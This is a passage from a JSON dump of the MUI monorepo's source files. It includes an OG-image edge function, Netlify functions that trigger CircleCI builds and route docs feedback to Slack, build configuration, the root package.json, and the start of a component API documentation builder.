lineHeight: 1.2,\n                  color: '#0B0D0E',\n                }}\n              >\n                {line.split('*').flatMap((text, index) => {\n                  if (index > 0) {\n                    starCount += 1;\n                  }\n\n                  const isBlue = starCount % 2 === 1;\n                  return text.split(' ').map((word) => (\n                    <span\n                      style={{\n                        color: isBlue ? '#007FFF' : '#0B0D0E',\n                        marginRight: word.length > 0 ? 15 : 0,\n                      }}\n                    >\n                      {word}\n                    </span>\n                  ));\n                })}\n              </p>\n            ))}\n          {description && (\n            <p\n              style={{\n                fontFamily: 'IBM Plex Sans',\n                fontSize: '36px',\n                fontWeight: 500,\n                color: '#000',\n                lineHeight: 1.5,\n                marginTop: 8,\n                marginBottom: 0,\n                marginLeft: 0,\n                marginRight: 0,\n                width: '100%',\n              }}\n            >\n              {description}\n            </p>\n          )}\n        </div>\n        <div\n          style={{\n            display: 'flex',\n            flexDirection: 'row',\n            flexWrap: 'wrap',\n            maxHeight: 180, // Limit to 2 lines of authors\n            overflow: 'hidden',\n            paddingTop: -20,\n          }}\n        >\n          {withAuthors &&\n            parsedAuthors.slice(0, MAX_AUTHORS).map(({ name, github }) => {\n              return (\n                <div\n                  style={{\n                    maxWidth: 1080,\n                    display: 'flex',\n                    flexDirection: 'row',\n                    flexWrap: 'wrap',\n                    marginRight: 40,\n                  }}\n                >\n                  <div\n                    style={{\n                      display: 'flex',\n                      alignItems: 'center',\n                      justifyContent: 'center',\n                      width: 70,\n                      height: 70,\n                      borderRadius: '50%',\n                      background: '#CCE5FF',\n                    }}\n                  >\n                    <img\n                      src={`https://github.com/${github}.png`}\n                      width={62}\n                      height={62}\n                      style={{ borderRadius: '50%' }}\n                      alt=\"\"\n                    />\n                  </div>\n                  <div\n                    style={{\n                      marginLeft: 20,\n                      display: 'flex',\n                      flexDirection: 'column',\n                    }}\n                  >\n                    <span\n                      style={{\n                        fontFamily: 'IBM Plex Sans',\n                        fontSize: '26px',\n                        fontWeight: '500',\n                        lineHeight: 1.5,\n                        textAlign: 'left',\n                        color: '#101418',\n                      }}\n                    >\n                      {name}\n                    </span>\n                    <span\n                      style={{\n                        fontFamily: 'IBM Plex Sans',\n                        fontSize: '20px',\n                        fontWeight: '500',\n                        lineHeight: 1.5,\n                        textAlign: 'left',\n                        color: '#007FFF',\n                      }}\n                    >\n                      @{github}\n                    </span>\n                  </div>\n                </div>\n              );\n            })}\n        </div>\n      </div>\n    </div>,\n    {\n      width: 1280,\n      height: 640,\n      // debug: true,\n      fonts: [\n        {\n          name: 'IBM Plex Sans',\n          data: await fetch('https://fonts.cdnfonts.com/s/15449/IBMPlexSans-Medium.woff').then(\n            (a) => a.arrayBuffer(),\n          ),\n          weight: 500,\n          style: 'normal',\n        },\n        {\n          name: 'General Sans',\n          data: await fetch('https://fonts.cdnfonts.com/s/85793/GeneralSans-Semibold.woff').then(\n            (a) => a.arrayBuffer(),\n          ),\n          weight: 600,\n          style: 'normal',\n        },\n        {\n          name: 'General Sans',\n          data: await fetch('https://fonts.cdnfonts.com/s/85793/GeneralSans-Bold.woff').then((a) =>\n            a.arrayBuffer(),\n          ),\n          weight: 700,\n          style: 'normal',\n        },\n      ],\n      // Manage the caching\n      headers: {\n        // Cache control is already done by the package (https://github.com/ascorbic/og-edge/blob/d533ef878801d7f808eb004f254e782ec6ba1e3c/mod.ts#L233-L240)\n        'Netlify-Vary': 'query',\n      },\n    },\n  );\n}\nexport const config = {\n  cache: 'manual',\n  path: '/edge-functions/og-image',\n};\n"
  },
  {
    "path": "netlify/functions/deploy-succeeded.js",
    "content": "/**\n * @param {object} event\n * @param {string} event.body - https://jsoneditoronline.org/#left=cloud.fb1a4fa30a4f475fa6887071c682e2c1\n */\nexports.handler = async (event) => {\n  const { payload } = JSON.parse(event.body);\n  const repo = payload.review_url.match(/github\\.com\\/(.*)\\/pull\\/(.*)/);\n  if (!repo) {\n    throw new Error(`No repo found at review_url: ${payload.review_url}`);\n  }\n\n  // eslint-disable-next-line no-console\n  console.info(`repo:`, repo[1]);\n  // eslint-disable-next-line no-console\n  console.info(`PR:`, repo[2]);\n  // eslint-disable-next-line no-console\n  console.info(`url:`, payload.deploy_ssl_url);\n\n  // for more details > https://circleci.com/docs/2.0/api-developers-guide/#\n  await fetch(`https://circleci.com/api/v2/project/gh/${repo[1]}/pipeline`, {\n    method: 'POST',\n    headers: {\n      'Content-type': 'application/json',\n      // Token from https://app.netlify.com/projects/material-ui/configuration/env#content\n      'Circle-Token': process.env.CIRCLE_CI_TOKEN,\n    },\n    body: JSON.stringify({\n      // For PR, /head is needed. https://support.circleci.com/hc/en-us/articles/360049841151\n      branch: `pull/${repo[2]}/head`,\n      parameters: {\n        // the parameters defined in .circleci/config.yml\n        workflow: 'e2e-website', // name of the workflow\n        'e2e-base-url': payload.deploy_ssl_url, // deploy preview url\n      },\n    }),\n  });\n  return {\n    statusCode: 200,\n    body: {},\n  };\n};\n"
  },
  {
    "path": "netlify/functions/feedback-management.mts",
    "content": "import querystring from 'node:querystring';\nimport { App, AwsLambdaReceiver, BlockAction, ButtonAction } from '@slack/bolt';\nimport { Handler } from '@netlify/functions';\n\nconst X_FEEBACKS_CHANNEL_ID = 'C04U3R2V9UK';\nconst JOY_FEEBACKS_CHANNEL_ID = 'C050VE13HDL';\nconst TOOLPAD_FEEBACKS_CHANNEL_ID = 'C050MHU703Z';\nconst CORE_FEEBACKS_CHANNEL_ID = 'C041SDSF32L';\n\nconst BASE_UI_FEEBACKS_CHANNEL_ID = 'C075LJG1LMP';\nconst MATERIAL_UI_FEEBACKS_CHANNEL_ID = 'C0757QYLK7V';\n// const PIGMENT_CSS_FEEBACKS_CHANNEL_ID = 'C074TBW0JKZ';\nconst X_GRID_FEEBACKS_CHANNEL_ID = 'C0757R0KW67';\nconst X_CHARTS_FEEBACKS_CHANNEL_ID = 'C0757UBND98';\nconst X_EXPLORE_FEEBACKS_CHANNEL_ID = 'C074TBYQK2T';\n// const DESIGN_KITS_FEEBACKS_CHANNEL_ID = 'C075ADGN0UU';\n\n// The design feedback alert was removed in https://github.com/mui/material-ui/pull/39691\n// This dead code is here to simplify the creation of special feedback channel\nconst DESIGN_FEEDBACKS_CHANNEL_ID = 'C05HHSFH2QJ';\n\nexport type MuiProductId =\n  | 'null'\n  | 'base-ui'\n  | 'material-ui'\n  | 'joy-ui'\n  | 'system'\n  | 'docs-infra'\n  | 'docs'\n  | 'x-data-grid'\n  | 'x-date-pickers'\n  | 'x-charts'\n  | 'x-tree-view'\n  | 'toolpad-studio'\n  | 'toolpad-core';\n\nconst getSlackChannelId = (\n  url: string,\n  productId: MuiProductId,\n  specialCases: { isDesignFeedback?: boolean },\n) => {\n  const { isDesignFeedback } = specialCases;\n\n  if (isDesignFeedback) {\n    return DESIGN_FEEDBACKS_CHANNEL_ID;\n  }\n\n  switch (productId) {\n    case 'base-ui':\n      return BASE_UI_FEEBACKS_CHANNEL_ID;\n    case 'material-ui':\n    case 'system':\n      return MATERIAL_UI_FEEBACKS_CHANNEL_ID;\n    case 'joy-ui':\n      return JOY_FEEBACKS_CHANNEL_ID;\n    case 'x-data-grid':\n      return X_GRID_FEEBACKS_CHANNEL_ID;\n    case 'x-date-pickers':\n    case 'x-tree-view':\n      return X_EXPLORE_FEEBACKS_CHANNEL_ID;\n    case 'x-charts':\n      return X_CHARTS_FEEBACKS_CHANNEL_ID;\n    case 'toolpad-studio':\n    case 'toolpad-core':\n      return TOOLPAD_FEEBACKS_CHANNEL_ID;\n    default:\n      break;\n  }\n\n  // Fallback\n\n  if (url.includes('/x/')) {\n    return X_FEEBACKS_CHANNEL_ID;\n  }\n  return CORE_FEEBACKS_CHANNEL_ID;\n};\n\n// Setup of the slack bot (taken from https://slack.dev/bolt-js/deployments/aws-lambda)\nconst awsLambdaReceiver = new AwsLambdaReceiver({\n  signingSecret: process.env.SLACK_SIGNING_SECRET!,\n});\n\nconst app = new App({\n  token: process.env.SLACK_BOT_TOKEN,\n  receiver: awsLambdaReceiver,\n  signingSecret: process.env.SLACK_SIGNING_SECRET,\n});\n\n// Define slack actions to answer\napp.action<BlockAction<ButtonAction>>('delete_action', async ({ ack, body, client, logger }) => {\n  try {\n    await ack();\n\n    const { channel, message } = body;\n\n    const channelId = channel?.id;\n\n    if (!channelId) {\n      throw new Error('feedback-management: Unknown channel Id');\n    }\n    await client.chat.delete({\n      channel: channelId,\n      ts: message!.ts,\n      as_user: true,\n      token: process.env.SLACK_BOT_TOKEN,\n    });\n  } catch (error) {\n    logger.error(JSON.stringify(error, null, 2));\n  }\n});\n\nexport const handler: Handler = async (event, context, callback) => {\n  if (event.httpMethod !== 'POST') {\n    return { statusCode: 404 };\n  }\n  try {\n    const { payload } = querystring.parse(event.body ?? '') as { payload: any };\n    const data = JSON.parse(payload);\n\n    if (data.callback_id === 'send_feedback') {\n      // We send the feedback to the appropriate slack channel\n      const {\n        rating,\n        comment,\n        currentLocationURL,\n        commentSectionURL: inCommentSectionURL,\n        commentSectionTitle,\n        githubRepo,\n        productId,\n      } = data;\n\n      // The design feedback alert was removed in https://github.com/mui/material-ui/pull/39691\n      // This dead code is here to simplify the creation of special feedback channel\n      const isDesignFeedback = inCommentSectionURL.includes('#new-docs-api-feedback');\n      const commentSectionURL = isDesignFeedback ? '' : inCommentSectionURL;\n\n      const simpleSlackMessage = [\n        `New comment ${rating === 1 ? '👍' : ''}${rating === 0 ? '👎' : ''}`,\n        `>${comment.split('\\n').join('\\n>')}`,\n        `sent from ${currentLocationURL}${\n          commentSectionTitle ? ` (from section <${commentSectionURL}|${commentSectionTitle})>` : ''\n        }`,\n      ].join('\\n\\n');\n\n      const githubNewIssueParams = new URLSearchParams({\n        title: '[ ] Docs feedback',\n        body: `Feedback received:\n${comment}\n\nfrom ${commentSectionURL}\n`,\n      });\n\n      await app.client.chat.postMessage({\n        channel: getSlackChannelId(currentLocationURL, productId, { isDesignFeedback }),\n        text: simpleSlackMessage, // Fallback for notification\n        blocks: [\n          {\n            type: 'section',\n            text: {\n              type: 'mrkdwn',\n              text: simpleSlackMessage,\n            },\n          },\n          {\n            type: 'actions',\n            elements: [\n              {\n                type: 'button',\n                text: {\n                  type: 'plain_text',\n                  text: 'Create issue',\n                  emoji: true,\n                },\n                url: `${githubRepo}/issues/new?${githubNewIssueParams}`,\n              },\n              {\n                type: 'button',\n                text: {\n                  type: 'plain_text',\n                  text: 'Delete',\n                },\n                value: JSON.stringify({\n                  comment,\n                  currentLocationURL,\n                  commentSectionURL,\n                }),\n                style: 'danger',\n                action_id: 'delete_action',\n              },\n            ],\n          },\n        ],\n        as_user: true,\n        unfurl_links: false,\n        unfurl_media: false,\n      });\n    } else {\n      const awsHandler = await awsLambdaReceiver.start();\n      // @ts-ignore\n      return awsHandler(event, context, callback);\n    }\n  } catch (error) {\n    // eslint-disable-next-line no-console\n    console.log(JSON.stringify(error, null, 2));\n    return {\n      statusCode: 500,\n      body: JSON.stringify({}),\n    };\n  }\n\n  return {\n    statusCode: 200,\n    body: JSON.stringify({}),\n  };\n};\n"
  },
  {
    "path": "netlify.toml",
    "content": "[build]\n  # The deploy-ready HTML files and assets generated by the build.\n  publish = \"docs/export/\"\n\n  # Build command.\n  command = \"pnpm docs:build\"\n\n[build.environment]\n  NODE_VERSION = \"22.18\"\n  PNPM_FLAGS = \"--frozen-lockfile\"\n\n# [[plugins]]\n#   package = \"@mui/internal-netlify-cache\"\n"
  },
  {
    "path": "nx.json",
    "content": "{\n  \"$schema\": \"./node_modules/nx/schemas/nx-schema.json\",\n  \"extends\": \"nx/presets/npm.json\",\n  \"targetDefaults\": {\n    \"copy-license\": {\n      \"cache\": true,\n      \"outputs\": [\"{projectRoot}/LICENSE\"]\n    },\n    \"build\": {\n      \"cache\": true,\n      \"dependsOn\": [\"copy-license\", \"^build\"],\n      \"outputs\": [\"{projectRoot}/build\", \"{projectRoot}/dist\", \"{projectRoot}/.next\"]\n    },\n    \"preview\": {\n      \"dependsOn\": [\"^build\"]\n    }\n  }\n}\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"@mui/monorepo\",\n  \"version\": \"9.0.0-beta.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"preinstall\": \"npx only-allow pnpm\",\n    \"proptypes\": \"tsx ./scripts/generateProptypes.ts\",\n    \"deduplicate\": \"pnpm dedupe\",\n    \"build\": \"lerna run build --ignore docs\",\n    \"build:ci\": \"lerna run build --concurrency 8 --ignore docs --stream --skip-nx-cache\",\n    \"build:public\": \"lerna run --no-private build\",\n    \"build:public:ci\": \"lerna run --no-private build --concurrency 8 --skip-nx-cache\",\n    \"release:publish\": \"code-infra publish --github-release --tag next\",\n    \"release:publish:dry-run\": \"code-infra publish --github-release --dry-run --tag next\",\n    \"release:version\": \"lerna version --no-changelog --no-push --no-git-tag-version --no-private --force-publish=@mui/core-downloads-tracker\",\n    \"release:build\": \"lerna run --concurrency 8 --no-private build --skip-nx-cache\",\n    \"release:changelog\": \"node scripts/releaseChangelog.mjs\",\n    \"release:pack\": \"tsx scripts/releasePack.mts\",\n    \"docs:api\": \"rimraf --glob ./docs/pages/**/api-docs ./docs/pages/**/api && pnpm docs:api:build\",\n    \"docs:api:build\": \"tsx ./scripts/buildApiDocs/index.ts\",\n    \"docs:llms:build\": \"rimraf --glob ./docs/public/material-ui/ && tsx ./scripts/buildLlmsDocs/index.ts --projectSettings ./packages/api-docs-builder-core/materialUi/projectSettings.ts\",\n    \"docs:build\": \"pnpm docs:llms:build && pnpm --filter docs build\",\n    \"docs:build-sw\": \"pnpm --filter docs build-sw\",\n    \"docs:build-color-preview\": \"babel-node scripts/buildColorTypes\",\n    \"docs:deploy\": \"pnpm --filter docs run deploy\",\n    \"docs:dev\": \"pnpm --filter docs dev\",\n    \"docs:icons\": \"pnpm --filter docs icons\",\n    \"docs:size-why\": \"cross-env DOCS_STATS_ENABLED=true pnpm docs:build\",\n    \"docs:start\": \"pnpm --filter docs start\",\n    \"docs:create-playground\": \"pnpm --filter docs create-playground\",\n    \"docs:i18n\": \"cross-env BABEL_ENV=development babel-node --extensions \\\".tsx,.ts,.js\\\" ./docs/scripts/i18n.ts\",\n    \"docs:link-check\": \"pnpm --filter docs link-check\",\n    \"docs:typescript\": \"pnpm docs:typescript:formatted --watch\",\n    \"docs:typescript:check\": \"pnpm --filter docs typescript\",\n    \"docs:typescript:formatted\": \"tsx ./docs/scripts/formattedTSDemos\",\n    \"docs:sync-team\": \"tsx ./docs/scripts/syncTeamMembers.ts && pnpm prettier\",\n    \"docs:mdicons:synonyms\": \"cross-env BABEL_ENV=development babel-node --extensions \\\".tsx,.ts,.js,.mjs\\\" ./docs/scripts/updateIconSynonyms && pnpm prettier\",\n    \"docs:zipRules\": \"cd docs && rm mui-vale.zip && zip -r mui-vale.zip mui-vale && cd ../ && pnpm vale sync\",\n    \"extract-error-codes\": \"code-infra extract-error-codes --errorCodesPath docs/public/static/error-codes.json --skip @mui/core-downloads-tracker @mui/envinfo @mui/docs @mui/codemod @mui/icons-material\",\n    \"template:screenshot\": \"cross-env BABEL_ENV=development babel-node --extensions \\\".tsx,.ts,.js\\\" ./docs/scripts/generateTemplateScreenshots\",\n    \"eslint\": \"eslint . --cache --report-unused-disable-directives --max-warnings 0\",\n    \"eslint:ci\": \"eslint . --report-unused-disable-directives --max-warnings 0\",\n    \"stylelint\": \"stylelint --reportInvalidScopeDisables --reportNeedlessDisables \\\"docs/**/*.?(c|m)[jt]s?(x)\\\" \\\"docs/**/*.css\\\" --ignore-path .lintignore\",\n    \"markdownlint\": \"markdownlint-cli2 \\\"**/*.md\\\"\",\n    \"valelint\": \"pnpm dlx --package @vvago/vale vale sync && git ls-files | grep -E \\\"\\\\.(md|mdx)$\\\" | xargs pnpm dlx --package @vvago/vale vale --filter='.Level==\\\"error\\\"'\",\n    \"prettier\": \"pretty-quick --ignore-path .lintignore --branch master\",\n    \"prettier:all\": \"prettier --write . --ignore-path .lintignore\",\n    \"size:snapshot\": \"pnpm -F ./test/bundle-size check\",\n    \"size:why\": \"pnpm size:snapshot --analyze\",\n    \"start\": \"pnpm install && pnpm docs:dev\",\n    \"tc\": \"pnpm test:node\",\n    \"test:attw\": \"pnpm run --parallel -r attw\",\n    \"test:extended\": \"pnpm eslint && pnpm typescript && pnpm test:coverage\",\n    \"test:coverage\": \"pnpm test:unit run --coverage\",\n    \"vitest\": \"vitest\",\n    \"test:coverage:html\": \"pnpm test:unit run --coverage --coverage.reporter html\",\n    \"test:e2e\": \"cross-env NODE_ENV=production pnpm test:e2e:build && concurrently --success first --kill-others \\\"pnpm test:e2e:run\\\" \\\"pnpm test:e2e:server\\\"\",\n    \"test:e2e:build\": \"webpack --config test/e2e/webpack.config.js\",\n    \"test:e2e:dev\": \"concurrently \\\"pnpm test:e2e:build --watch\\\" \\\"pnpm test:e2e:server\\\"\",\n    \"test:e2e:run\": \"vitest run -r ./test/e2e/\",\n    \"test:e2e:server\": \"serve test/e2e -p 5001\",\n    \"test:e2e-website\": \"playwright test test/e2e-website --config test/e2e-website/playwright.config.ts\",\n    \"test:e2e-website:dev\": \"cross-env PLAYWRIGHT_TEST_BASE_URL=http://localhost:3000 playwright test test/e2e-website --config test/e2e-website/playwright.config.ts\",\n    \"test:regressions\": \"cross-env NODE_ENV=production pnpm test:regressions:build && concurrently --success first --kill-others \\\"pnpm test:regressions:run\\\" \\\"pnpm test:regressions:server\\\"\",\n    \"test:regressions:build\": \"vite build test/regressions\",\n    \"test:regressions:dev\": \"vite test/regressions --port 5001\",\n    \"test:regressions:run\": \"vitest run -r ./test/regressions/\",\n    \"test:regressions:server\": \"vite preview test/regressions --port 5001\",\n    \"test\": \"pnpm test:node\",\n    \"test:unit\": \"cross-env TZ=UTC vitest\",\n    \"test:node\": \"cross-env TEST_SCOPE=node pnpm test:unit\",\n    \"test:browser\": \"cross-env TEST_SCOPE=browser pnpm test:unit\",\n    \"test:argos\": \"code-infra argos-push --folder test/regressions/screenshots/chrome\",\n    \"typescript\": \"lerna run --no-bail typescript\",\n    \"typescript:ci\": \"lerna run --concurrency 2 --no-bail typescript\",\n    \"typescript:module-augmentation\": \"lerna run --concurrency 1 --no-bail typescript:module-augmentation\",\n    \"use-react-version\": \"node ./scripts/useReactVersion.mjs\",\n    \"validate-declarations\": \"tsx scripts/validateTypescriptDeclarations.mts\",\n    \"generate-codeowners\": \"node scripts/generateCodeowners.mjs\",\n    \"canary:release\": \"tsx ./scripts/canaryRelease.mts\",\n    \"clean\": \"pnpm -r exec rm -rf build\"\n  },\n  \"dependencies\": {\n    \"@netlify/functions\": \"^5.1.5\",\n    \"@slack/bolt\": \"^4.6.0\",\n    \"@vitest/eslint-plugin\": \"^1.6.13\",\n    \"babel-plugin-transform-import-meta\": \"^2.3.3\",\n    \"execa\": \"^9.6.1\"\n  },\n  \"devDependencies\": {\n    \"@arethetypeswrong/cli\": \"0.18.2\",\n    \"@babel/core\": \"7.29.0\",\n    \"@babel/node\": \"7.29.0\",\n    \"@babel/plugin-transform-react-constant-elements\": \"7.27.1\",\n    \"@eslint/compat\": \"2.0.3\",\n    \"@mui-internal/api-docs-builder\": \"workspace:^\",\n    \"@mui-internal/api-docs-builder-core\": \"workspace:^\",\n    \"@mui/internal-babel-plugin-minify-errors\": \"2.0.8-canary.24\",\n    \"@mui/internal-bundle-size-checker\": \"1.0.9-canary.70\",\n    \"@mui/internal-code-infra\": \"0.0.4-canary.11\",\n    \"@mui/internal-docs-utils\": \"workspace:^\",\n    \"@mui/internal-netlify-cache\": \"0.0.3-canary.3\",\n    \"@mui/internal-scripts\": \"workspace:^\",\n    \"@mui/internal-test-utils\": \"2.0.18-canary.18\",\n    \"@mui/material\": \"workspace:^\",\n    \"@mui/utils\": \"workspace:^\",\n    \"@next/eslint-plugin-next\": \"15.5.14\",\n    \"@octokit/rest\": \"22.0.1\",\n    \"@pigment-css/react\": \"0.0.30\",\n    \"@playwright/test\": \"1.58.2\",\n    \"@pnpm/find-workspace-dir\": \"1000.1.5\",\n    \"@types/babel__core\": \"7.20.5\",\n    \"@types/babel__register\": \"7.17.3\",\n    \"@types/ip\": \"1.1.3\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/yargs\": \"17.0.35\",\n    \"@vitejs/plugin-react\": \"^5.1.1\",\n    \"@vitest/browser-playwright\": \"^4.0.13\",\n    \"@vitest/coverage-v8\": \"^4.0.13\",\n    \"babel-loader\": \"10.1.1\",\n    \"babel-plugin-istanbul\": \"7.0.1\",\n    \"babel-plugin-module-resolver\": \"5.0.3\",\n    \"chalk\": \"5.6.2\",\n    \"concurrently\": \"9.2.1\",\n    \"cpy-cli\": \"7.0.0\",\n    \"cross-env\": \"10.1.0\",\n    \"danger\": \"13.0.7\",\n    \"dotenv\": \"17.3.1\",\n    \"es-toolkit\": \"1.45.1\",\n    \"eslint\": \"10.1.0\",\n    \"eslint-import-resolver-webpack\": \"0.13.10\",\n    \"eslint-plugin-consistent-default-export-name\": \"0.0.15\",\n    \"fast-glob\": \"3.3.3\",\n    \"git-url-parse\": \"16.1.0\",\n    \"globby\": \"16.1.1\",\n    \"jsdom\": \"26.1.0\",\n    \"lerna\": \"9.0.7\",\n    \"markdownlint-cli2\": \"0.22.0\",\n    \"nx\": \"20.8.4\",\n    \"pkg-pr-new\": \"0.0.66\",\n    \"playwright\": \"1.58.2\",\n    \"prettier\": \"3.8.1\",\n    \"pretty-quick\": \"4.2.2\",\n    \"process\": \"0.11.10\",\n    \"react\": \"19.2.4\",\n    \"react-dom\": \"19.2.4\",\n    \"rimraf\": \"6.1.3\",\n    \"serve\": \"14.2.6\",\n    \"stylelint\": \"17.5.0\",\n    \"tsconfig-paths-webpack-plugin\": \"4.2.0\",\n    \"tsx\": \"4.21.0\",\n    \"typescript\": \"5.9.3\",\n    \"vite\": \"^7.2.2\",\n    \"vitest\": \"^4.0.13\",\n    \"vitest-fail-on-console\": \"0.10.1\",\n    \"webpack\": \"5.105.4\",\n    \"webpack-cli\": \"6.0.1\",\n    \"yargs\": \"18.0.0\"\n  },\n  \"packageManager\": \"pnpm@10.33.0\",\n  \"engines\": {\n    \"pnpm\": \"10.33.0\",\n    \"node\": \">=22.18.0\"\n  },\n  \"resolutions\": {\n    \"@babel/core\": \"7.29.0\",\n    \"@babel/plugin-transform-runtime\": \"^7.29.0\",\n    \"@babel/preset-env\": \"^7.29.2\",\n    \"@babel/preset-react\": \"^7.28.5\",\n    \"@babel/preset-typescript\": \"^7.28.5\",\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@types/node\": \"20.19.37\",\n    \"cross-fetch\": \"^4.1.0\",\n    \"@pigment-css/react\": \"0.0.30\",\n    \"@pigment-css/unplugin\": \"0.0.30\",\n    \"@pigment-css/nextjs-plugin\": \"0.0.30\",\n    \"@pigment-css/vite-plugin\": \"0.0.30\"\n  }\n}\n"
  },
  {
    "path": "packages/api-docs-builder/ApiBuilders/ComponentApiBuilder.ts",
    "content": "import { readFileSync, writeFileSync } from 'fs';\nimport path from 'path';\nimport * as babel from '@babel/core';\nimport traverse from '@babel/traverse';\nimport { kebabCase, escapeRegExp } from 'es-toolkit/string';\nimport { remark } from 'remark';\nimport { visit as remarkVisit } from 'unist-util-visit';\nimport type { Link } from 'mdast';\nimport { defaultHandlers, parse as docgenParse } from 'react-docgen';\nimport { parse as parseDoctrine, Annotation } from 'doctrine';\nimport { renderCodeTags, renderMarkdown } from '../buildApi';\nimport { ProjectSettings, SortingStrategiesType } from '../ProjectSettings';\nimport { toGitHubPath, writePrettifiedFile } from '../buildApiUtils';\nimport muiDefaultPropsHandler from '../utils/defaultPropsHandler';\nimport parseTest from '../utils/parseTest';\nimport generatePropTypeDescription, { getChained } from '../utils/generatePropTypeDescription';\nimport createDescribeableProp, {\n  CreateDescribeablePropSettings,\n  DescribeablePropDescriptor,\n} from '../utils/createDescribeableProp';\nimport generatePropDescription from '../utils/generatePropDescription';\nimport { TypeScriptProject } from '../utils/createTypeScriptProject';\nimport parseSlotsAndClasses from '../utils/parseSlotsAndClasses';\nimport generateApiTranslations from '../utils/generateApiTranslation';\nimport { sortAlphabetical } from '../utils/sortObjects';\nimport {\n  AdditionalPropsInfo,\n  ComponentApiContent,\n  ComponentReactApi,\n  ParsedProperty,\n  TypeDescriptions,\n} from '../types/ApiBuilder.types';\nimport { Slot, ComponentInfo, ApiItemDescription } from '../types/utils.types';\nimport extractInfoFromEnum from '../utils/extractInfoFromEnum';\n\nconst cssComponents = new Set(['Box', 'Grid', 'Typography', 'Stack']);\n\n/**\n * Produces markdown of the description that can be hosted anywhere.\n *\n * By default we assume that the markdown is hosted on mui.com which is\n * why the source includes relative url. We transform them to absolute urls with\n * this method.\n */\nexport async function computeApiDescription(\n  api: { description: ComponentReactApi['description'] },\n  options: { host: string },\n): Promise<string> {\n  const { host } = options;\n  const file = await remark()\n    .use(function docsLinksAttacher() {\n      return function transformer(tree) {\n        remarkVisit(tree, 'link', (linkNode) => {\n          const link = linkNode as Link;\n          if ((link.url as string).startsWith('/')) {\n            link.url = `${host}${link.url}`;\n          }\n        });\n      };\n    })\n    .process(api.description);\n\n  return file.toString().trim();\n}\n\n/**\n * Add demos & API comment block to type definitions, e.g.:\n * /**\n *  * Demos:\n *  *\n *  * - [Icons](https://mui.com/components/icons/)\n *  * - [Material Icons](https://mui.com/components/material-icons/)\n *  *\n *  * API:\n *  *\n *  * - [Icon API](https://mui.com/api/icon/)\n */\nasync function annotateComponentDefinition(\n  api: ComponentReactApi,\n  componentJsdoc: Annotation,\n  projectSettings: ProjectSettings,\n) {\n  const HOST = projectSettings.baseApiUrl ?? 'https://mui.com';\n\n  const typesFilename = api.filename.replace(/\\.js$/, '.d.ts');\n  const fileName = path.parse(api.filename).name;\n  const typesSource = readFileSync(typesFilename, { encoding: 'utf8' });\n  const typesAST = await babel.parseAsync(typesSource, {\n    configFile: false,\n    filename: typesFilename,\n    presets: [require.resolve('@babel/preset-typescript')],\n  });\n  if (typesAST === null) {\n    throw new Error('No AST returned from babel.');\n  }\n\n  let start = 0;\n  let end = null;\n  traverse(typesAST, {\n    ExportDefaultDeclaration(babelPath) {\n      /**\n       * export default function Menu() {}\n       */\n      let node: babel.Node = babelPath.node;\n      if (node.declaration.type === 'Identifier') {\n        // declare const Menu: {};\n        // export default Menu;\n        if (babel.types.isIdentifier(babelPath.node.declaration)) {\n          const bindingId = babelPath.node.declaration.name;\n          const binding = babelPath.scope.bindings[bindingId];\n\n          // The JSDoc MUST be located at the declaration\n          if (babel.types.isFunctionDeclaration(binding.path.node)) {\n            // For function declarations the binding is equal to the declaration\n            // /**\n            //  */\n            // function Component() {}\n            node = binding.path.node;\n          } else {\n            // For variable declarations the binding points to the declarator.\n            // /**\n            //  */\n            // const Component = () => {}\n            node = binding.path.parentPath!.node;\n          }\n        }\n      }\n\n      const { leadingComments } = node;\n      const leadingCommentBlocks =\n        leadingComments != null\n          ? leadingComments.filter(({ type }) => type === 'CommentBlock')\n          : null;\n      const jsdocBlock = leadingCommentBlocks != null ? leadingCommentBlocks[0] : null;\n      if (leadingCommentBlocks != null && leadingCommentBlocks.length > 1) {\n        throw new Error(\n          `Should only have a single leading jsdoc block but got ${\n            leadingCommentBlocks.length\n          }:\\n${leadingCommentBlocks\n            .map(({ type, value }, index) => `#${index} (${type}): ${value}`)\n            .join('\\n')}`,\n        );\n      }\n      if (jsdocBlock?.start != null && jsdocBlock?.end != null) {\n        start = jsdocBlock.start;\n        end = jsdocBlock.end;\n      } else if (node.start != null) {\n        start = node.start - 1;\n        end = start;\n      }\n    },\n\n    ExportNamedDeclaration(babelPath) {\n      let node: babel.Node = babelPath.node;\n\n      if (node.declaration == null) {\n        // export { Menu };\n        node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ExportSpecifier' && specifier.local.name === fileName) {\n            const binding = babelPath.scope.bindings[specifier.local.name];\n\n            if (babel.types.isFunctionDeclaration(binding.path.node)) {\n              // For function declarations the binding is equal to the declaration\n              // /**\n              //  */\n              // function Component() {}\n              node = binding.path.node;\n            } else {\n              // For variable declarations the binding points to the declarator.\n              // /**\n              //  */\n              // const Component = () => {}\n              node = binding.path.parentPath!.node;\n            }\n          }\n        });\n      } else if (babel.types.isFunctionDeclaration(node.declaration)) {\n        // export function Menu() {}\n        if (node.declaration.id?.name === fileName) {\n          node = node.declaration;\n        }\n      } else {\n        return;\n      }\n\n      const { leadingComments } = node;\n      const leadingCommentBlocks =\n        leadingComments != null\n          ? leadingComments.filter(({ type }) => type === 'CommentBlock')\n          : null;\n      const jsdocBlock = leadingCommentBlocks != null ? leadingCommentBlocks[0] : null;\n      if (leadingCommentBlocks != null && leadingCommentBlocks.length > 1) {\n        throw new Error(\n          `Should only have a single leading jsdoc block but got ${\n            leadingCommentBlocks.length\n          }:\\n${leadingCommentBlocks\n            .map(({ type, value }, index) => `#${index} (${type}): ${value}`)\n            .join('\\n')}`,\n        );\n      }\n      if (jsdocBlock?.start != null && jsdocBlock?.end != null) {\n        start = jsdocBlock.start;\n        end = jsdocBlock.end;\n      } else if (node.start != null) {\n        start = node.start - 1;\n        end = start;\n      }\n    },\n  });\n\n  if (end === null || start === 0) {\n    throw new TypeError(\n      `${api.filename}: Don't know where to insert the jsdoc block. Probably no default export or named export matching the file name was found.`,\n    );\n  }\n\n  let inheritanceAPILink = null;\n  if (api.inheritance) {\n    inheritanceAPILink = `[${api.inheritance.name} API](${\n      api.inheritance.apiPathname.startsWith('http')\n        ? api.inheritance.apiPathname\n        : `${HOST}${api.inheritance.apiPathname}`\n    })`;\n  }\n\n  const markdownLines = (await computeApiDescription(api, { host: HOST })).split('\\n');\n  // Ensure a newline between manual and generated description.\n  if 